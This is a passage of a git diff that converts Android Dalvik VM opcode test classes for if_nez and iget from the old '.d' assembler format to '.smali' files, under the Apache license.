-.class public dot.junit.opcodes.if_nez.d.T_if_nez_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali
new file mode 100644
index 0000000..5202bd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_nez_11.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d
deleted file mode 100644
index d95004a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_2.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali
new file mode 100644
index 0000000..230d6e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d
deleted file mode 100644
index ea90b8d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_3.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali
new file mode 100644
index 0000000..a15feab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d
deleted file mode 100644
index efe46b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_4.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)I
-.limit regs 6
-
-       if-nez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali
new file mode 100644
index 0000000..7ed26fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d
deleted file mode 100644
index 8640ec1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_5.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-nez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali
new file mode 100644
index 0000000..b2a879a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d
deleted file mode 100644
index 67348ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_6.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-nez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali
new file mode 100644
index 0000000..c3d6883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d
deleted file mode 100644
index b22102e8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_ifne_7.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 6
-
-       if-nez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali
new file mode 100644
index 0000000..e66dd47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali
@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d
deleted file mode 100644
index 5ea760a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_nez_9.java
-.class public dot.junit.opcodes.if_nez.d.T_if_nez_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-nez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali
new file mode 100644
index 0000000..a9e3ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_nez_9.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d
deleted file mode 100644
index cac6528..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_1.java
-.class public dot.junit.opcodes.iget.d.T_iget_1
-.super java/lang/Object
-
-.field public  i1 I
-.field protected  p1 I
-.field private  pvt1 I
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const/4 v0, 5
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.i1 I
-
-       const/16 v0, 10
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.p1 I
-
-       const/16 v0, 20
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_1.pvt1 I
-       
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali
new file mode 100644
index 0000000..7bc6c1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_1.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+.field protected  p1:I
+.field private  pvt1:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 5
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+
+       const/16 v0, 10
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+
+       const/16 v0, 20
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d
deleted file mode 100644
index 6e64e3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_11.java
-.class public dot.junit.opcodes.iget.d.T_iget_11
-.super dot/junit/opcodes/iget/d/T_iget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget/d/T_iget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.p1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali
new file mode 100644
index 0000000..c851b27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_11.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_11;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d
deleted file mode 100644
index 312dd9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_12.java
-.class public dot.junit.opcodes.iget.d.T_iget_12
-.super dot/junit/opcodes/iget/d/T_iget_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget/d/T_iget_1/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_1.pvt1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali
new file mode 100644
index 0000000..3c63a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_12.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_12;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d
deleted file mode 100644
index eed73b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_13.java
-.class public dot.junit.opcodes.iget.d.T_iget_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_13.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali
new file mode 100644
index 0000000..6cc0c35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_13.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_13;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d
deleted file mode 100644
index faa6271..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_14.java
-.class public dot.junit.opcodes.iget.d.T_iget_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali
new file mode 100644
index 0000000..213451f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget/d/T_iget_14;
+.super Ljava/lang/Object;
+.source "T_iget_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget v0, p0, Ldot/junit/opcodes/iget/d/T_iget_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d
deleted file mode 100644
index d50305b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_15.java
-.class public dot.junit.opcodes.iget.d.T_iget_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali
new file mode 100644
index 0000000..6252193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_15.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d
deleted file mode 100644
index 8a5253b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_16.java
-.class public dot.junit.opcodes.iget.d.T_iget_16
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_16.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali
new file mode 100644
index 0000000..e18c26c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
